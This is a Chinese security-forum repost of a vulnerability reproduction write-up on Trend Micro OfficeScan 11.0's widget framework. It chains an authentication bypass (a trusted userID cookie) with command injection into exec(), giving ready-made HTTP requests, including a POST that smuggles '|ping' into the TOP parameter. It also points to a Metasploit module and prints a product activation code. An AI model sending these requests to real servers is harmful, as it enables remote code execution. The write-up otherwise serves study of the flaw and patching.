HACK80

我们很年轻,但我们有信念、有梦想!

我们坚信只有今天付出了,才有机会看到明天的太阳!
现在!加入我们,给你一个气氛优秀的技术圈子

作者: EvilGod
查看: 302|回复: 0

more +随机图赏Gallery

社工库查询工具1.1修改版社工库查询工具1.1修改版
可以手机远程控制电脑,手机远程控制手机的超强工具!可以手机远程控制电脑,手机远程控制手机的超强工具!
简单---两步--进暗网--更新之前的简单---两步--进暗网--更新之前的
2017年中旬WEB渗透系列课程-00前言2017年中旬WEB渗透系列课程-00前言
2017年中旬WEB渗透系列课程-25基于php参数开关的提权2017年中旬WEB渗透系列课程-25基于php参数开关的提权
2017年中旬WEB渗透系列课程-27HASH提权2017年中旬WEB渗透系列课程-27HASH提权
御剑后台扫描--自带10多兆后台数据库御剑后台扫描--自带10多兆后台数据库
国内高手浅蓝渗透视频,值得一看。国内高手浅蓝渗透视频,值得一看。
【重要公告】2017年中工作进展及最新课程发布【重要公告】2017年中工作进展及最新课程发布
二期公开课第6节-Linux下的爆破工具+爆破指定IP远程登陆二期公开课第6节-Linux下的爆破工具+爆破指定IP远程登陆

趋势科技产品Widgets模块多个漏洞复现

[复制链接]
EvilGod 发表于 2018-1-10 17:19:49 | 显示全部楼层 |阅读模式
查看: 302|回复: 0

马上注册,加入HACK80!与我们一起交流。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
作者:znn
原文地址:https://secvul.com/topics/873.html

0x01 漏洞简介
多数趋势科技的产品都有管理网页的小部件(widget)。虽然使用 Java/.NET 编写的核心系统,但是这个小部件机制已经用PHP实现了。因此意味着趋势科技的产品中包含有PHP解释器。
widget框架有一个代理机制,其proxy_controller.php页面根据用户输入调用相关类来实现该功能,通过分析该功能发现存在多个漏洞,包括命令注入、私钥泄漏、Sqlite3未授权访问、SSRF和认证绕过。
0x02 漏洞分析
本次复现的是命令注入和认证绕过漏洞,命令注入需要认证的情况下才能实现,因此这两个漏洞结合才能实现远程代码执行。
2.1 环境搭建
趋势产品:防毒墙-网络版(OfficeScan) 11.0 Build: 1744.00 (http://downloadcenter.trendmicro ... al=4661&lang_loc=15)
操作系统:Windows10
官网下载OfficeScan最新版本(未打补丁),安装前需要开启Windows的IIS服务,不然会一直出错。
激活码:OS-5LCX-EAZPE-9UZVU-QGZMF-N765A-LRJNF
激活提示错误不管,可以正常安装使用。安装完成后默认WEB控制台如下:
http://127.0.0.1:8080/officescan ... cgiChkMasterPwd.exe
https://127.0.0.1:4343/officesca ... cgiChkMasterPwd.exe
2.2 命令注入
首先来看Trend Micro\OfficeScan\PCCSRV\Web_OSCE\Web_console\HTML\widget\repository\widgets_new\proxy\modTMCSS\Proxy.php文件代码:
  1. public function proxy_exec()
  2. {
  3. // localhost, directly launch report.php
  4. if ($this->cgiArgs['serverid'] == '1')
  5. {
  6. if($this->cgiArgs['type'] == "WR"){
  7. $cmd = "php ../php/lwcs_report.php ";
  8. $this->AddParam($cmd, "t");
  9. $this->AddParam($cmd, "tr");
  10. $this->AddParam($cmd, "ds");
  11. $this->AddParam($cmd, "m");
  12. $this->AddParam($cmd, "C");
  13. exec($cmd, $this->m_output, $error);
  14. if ($error != 0)
  15. {
  16. $this->errCode = WF_PROXY_ERR_EXEC_OTHERS;
  17. $this->errMessage = "exec lwcs_report.php failed. err = $error";
  18. }
  19. }
  20. else{
  21. $cmd = "php ../php/report.php ";
  22. $this->AddParam($cmd, "T");
  23. $this->AddParam($cmd, "D");
  24. $this->AddParam($cmd, "IP");
  25. $this->AddParam($cmd, "M");
  26. $this->AddParam($cmd, "TOP");
  27. $this->AddParam($cmd, "C");
  28. $this->AddParam($cmd, "CONSOLE_LANG");
  29. exec($cmd, $this->m_output, $error);
  30. if ($error != 0)
  31. {
  32. $this->errCode = WF_PROXY_ERR_EXEC_OTHERS;
  33. $this->errMessage = "exec report.php failed. err = $error";
  34. }
  35. }
  36. }
  37. private function AddParam(&$cmd, $param)
  38. {
  39. if (isset($this->cgiArgs[$param]))
  40. {
  41. $cmd = $cmd.$param."=".$this->cgiArgs[$param]." ";
  42. }
  43. }
复制代码
可以很直观看到cgiArgs[]处内容被带入了exec()函数被执行,执行代码类似exec(“php ../php/lwcs_report.php t=xx tr=xx…”).
此处需要控制传入的参数即可,再来看\Trend Micro\OfficeScan\PCCSRV\Web_OSCE\Web_console\HTML\widget\proxy_controller文件:
  1. if(!isset($g_GetPost)){
  2. $g_GetPost = array_merge($_GET,$_POST);
  3. }else{
  4. $g_GetPost = array_merge($g_GetPost,$_GET,$_POST);
  5. }
  6. //...
  7. $myproxy_file = $strProxyDir . "/" . $server_module . "/Proxy.php";
  8. //null byte injection prevents
  9. if( is_string( $myproxy_file ) ) {
  10. $myproxy_file = str_replace( "\0", '', $myproxy_file );
  11. }

  12. // does file exist?
  13. if(file_exists($myproxy_file)){
  14. include ($myproxy_file);
  15. }else{
  16. proxy_error(WF_PROXY_ERR_INIT_INVALID_MODULE, WF_PROXY_ERR_INIT_INVALID_MODULE_MSG);
  17. }
  18. // does class exist?
  19. if(! class_exists("WFProxy")){
  20. proxy_error(WF_PROXY_ERR_INIT_MODULE_ERROR, WF_PROXY_ERR_INIT_MODULE_ERROR_MSG);
  21. }
  22. // ... CODE OMIT ...
  23. $request = new WFProxy($g_GetPost, $wfconf_dbconfig);
  24. $request->proxy_exec();
  25. $request->proxy_output();
复制代码
以上代码将$_GET,$_POST合并成$g_GetPost,并将其传入$myproxy_file,即我们所选的Trend Micro\OfficeScan\PCCSRV\Web_OSCE\Web_console\HTML\widget\repository\widgets_new\proxy\modTMCSS\Proxy.php文件。(其实这里可以选择多个WFProxy类,在Trend Micro\OfficeScan\PCCSRV\Web_OSCE\Web_console\HTML\widget\repository\widgets_new\peoxy下可以看到多个WFProxy类的定义。),到此,我们只需要对proxy_controller.php的$_POST进行操作,即可传入所调用的WFProxy类并执行exec(“php ../php/lwcs_report.php t=$_POST[p1],tr=$_POST[p2]…”),从而实现了命令注入。
通过代码require_once (dirname(__FILE__) . “/inc/session_auth.php”);可以看到该页面需要认证,未认证情况下无法实现命令注入,因此还需要下面认证绕过的漏洞来实现。
2.2 认证绕过
查看认证页面/officescan/console/html/widget/ui/modLogin/talker.php代码发现认证调用standalone_user_init()函数,部分代码如下:
  1. <pre>public function standalone_user_init(){
  2. mydebug_log("[WFUSER] standalone_user_init()");
  3. if(isset($_COOKIE['userID'])){
  4. return $this->recover_session_byuid($_COOKIE['userID']);
  5. }
  6. mydebug_log("[WFUSER] standalone_user_init(): cookie userID isn't set");
  7. return false;
  8. }
  9. public function recover_session_byuid($uid){
  10. mydebug_log("[WFUSER] recover_session_byuid() " . $uid);
  11. if(false == $this->loaduser_byuid($uid)){
  12. mydebug_log("[WFUSER] recover_session_byuid() failed");
  13. return false;
  14. }
  15. return $this->recover_session();
  16. }
  17. public function loaduser_byuid($uid){
  18. mydebug_log("[WFUSER] loaduser_byuid() " . $uid);
  19. // load user
  20. $uinfolist = $this->userdb->get_users($uid);
  21. if($this->userdb->isFailed()){
  22. return false;
  23. }
  24. // no exists
  25. if(! isset($uinfolist[0])){
  26. return false;
  27. }
  28. // get userinfo
  29. $this->userinfo = $uinfolist[0];
  30. return true;
  31. }
  32. public function get_users($uid = null){
  33. // specify uid
  34. $work_uid = $this->valid_uid($uid);
  35. if($work_uid == null){
  36. return;
  37. }
  38. // query string
  39. $sqlstring = 'SELECT * from ' . $this->users_table . ' WHERE id = :uid';
  40. $sqlvalues[':uid'] = $work_uid;
  41. return $this->runSQL($sqlstring, $sqlvalues, "Get " . $this->users_table . " failed", 1);
  42. }</pre>
复制代码

可以看到此处认证过程中仅验证用户id或用户名,并未去校验CSRFToken和hash字段。
0x03 漏洞利用3.1 认证绕过
首先访问如下请求获取返回头中Set-Cookie值
  1. GET /officescan/console/html/widget/index.php HTTP/1.1
  2. Host: 10.211.55.18:8080
复制代码
通过上述分析,构造如下HTTP请求:
  1. POST /officescan/console/html/widget/ui/modLogin/talker.php HTTP/1.1
  2. Host: 10.211.55.18:8080
  3. Cookie: LogonUser=root; userID=1; PHPSESSID=51krh5n4d80npijguclead4fc6;
  4. X-CSRFToken: 51krh5n4d80npijguclead4fc6
  5. Content-Type: application/x-www-form-urlencoded
  6. Content-Length: 28
  7. Connection: close
  8. cid=1&act=check&hash=1&pid=1
复制代码
其中X-CSRFToken和PHPSESSID为上步Set-Cookie值,查看响应包可以看到成功认证,包含”message”:”login successfully”内容。
3.2 命令注入
将上步通过认证的X-CSRFToken和Cookie带入包含命令注入的HTTP请求中,如下:
  1. POST /officescan/console/html/widget/proxy_controller.php HTTP/1.1
  2. Host: 10.211.55.18:8080
  3. Cookie: LANG=en_US; LogonUser=root; userID=1; PHPSESSID=51krh5n4d80npijguclead4fc6;
  4. X-CSRFToken: 51krh5n4d80npijguclead4fc6
  5. Content-Type: application/x-www-form-urlencoded
  6. Content-Length: 54
  7. module=modTMCSS&serverid=1&TOP=1|ping 10.211.55.2
复制代码
在10.211.55.2上执行tcpdump icmp接收icmp包验证执行情况,可以看到
命令成功执行:
3.3 Metasploit脚本
Metasploit 已经集成该漏洞EXP,路径为exploit/windows/http/trendmicro_officescan_widget_exec,直接调用如下:

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|小黑屋|手机版|HACK80 ( 沪ICP备15007512号 )

GMT+8, 2018-1-24 13:44 , Processed in 0.062660 second(s), 24 queries .

Powered by Discuz! X3.4 © 2001-2013 Comsenz Inc.